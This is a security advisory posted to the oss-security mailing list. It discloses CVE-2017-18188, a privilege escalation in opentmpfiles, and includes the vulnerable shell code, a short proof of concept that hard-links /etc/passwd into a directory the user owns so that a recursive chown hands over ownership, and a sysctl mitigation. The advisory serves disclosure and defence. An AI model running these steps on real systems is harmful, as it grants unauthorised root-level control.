Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <11bafb9e-8c50-db0b-4640-65ba072e0eaf@orlitzky.com>
Date: Wed, 14 Feb 2018 16:04:52 -0500
From: Michael Orlitzky <michael@...itzky.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2017-18188: opentmpfiles root privilege escalation via recursive
 chown

Product: opentmpfiles
Versions-affected: 0.1.3 and earlier (all)
Author: Michael Orlitzky
Bug-report: https://github.com/OpenRC/opentmpfiles/issues/3


== Summary ==

The opentmpfiles program implements the tmpfiles.d specification for
POSIX systems that do not run systemd. When processing a "Z" type entry,
opentmpfiles calls chown recursively to change ownership of the target
directory and its contents. An attacker can introduce a hard link into
that directory pointing to a sensitive file, and the next time that
opentmpfiles is run, ownership of the hard link's target will be given
to the attacker.


== Details ==

The specification for the Z-type tmpfiles.d entry implies some type of
recursive chown:

  Z

  Recursively set the access mode, group and user, and restore the
  SELinux security context of a file or directory if it exists, as well
  as of its subdirectories and the files contained therein (if
  applicable). Lines of this type accept shell-style globs in place of
  normal path names. Does not follow symlinks.

In opentmpfiles, this is implemented in the "tmpfiles" script:

  _Z() {
    # Recursively set ownership, access mode and relabel security
    # context of a path and all its subdirectories (if it is a
    # directory). Lines of this type accept shell-style globs in
    # place of normal path names.
    [ $CREATE -gt 0 ] || return 0

    CHOPTS=-R relabel "$@"
  }

  relabel() {
    ...
    if [ $uid != '-' ]; then
      dryrun_or_real chown $CHOPTS "$uid" "$path"
      x=$?
      if [ $x -ne 0 ]; then
        status=$x
      fi
    fi
    ...
  }

  dryrun_or_real() {
    local dryrun=
    if [ $DRYRUN -eq 1 ]; then
      dryrun=echo
    fi
    $dryrun "$@"
  }

Ultimately, the target of the Z-type entry has "chown -R" called on
it. By default, chown will refuse to follow symlinks when operating
recursively; however, hard links are another story. Unless some
(nonstandard) kernel-level protection is enabled, unprivileged users
are free to create hard links to root-owned files, and chown will
follow them.

This is straightforward to exploit as the user who owns the target of
a Z-type entry. Take for example the following tmpfiles.d entry, in
/etc/tmpfiles.d/exploit.conf:

  d /var/lib/opentmpfiles-exploit 0755 mjo mjo
  Z /var/lib/opentmpfiles-exploit 0755 mjo mjo

When opentmpfiles is run, ownership of that directory is given to my mjo
user:

  mjo $ sudo /etc/init.d/opentmpfiles-setup start
  mjo $ ls -ld /var/lib/opentmpfiles-exploit
  drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit

At that point, I'm free to introduce whatever hard links I want,

  mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x

and then restart opentmpfiles (which would happen after a reboot, anyway):

  mjo $ sudo /etc/init.d/opentmpfiles-setup restart

The "chown -R" follows my link, and afterwards I own /etc/passwd:

  mjo $ ls -l /etc/passwd
  -rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd


== Mitigation ==

On Linux, the fs.protected_hardlinks sysctl should be enabled:

  root # sysctl --write fs.protected_hardlinks=1

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.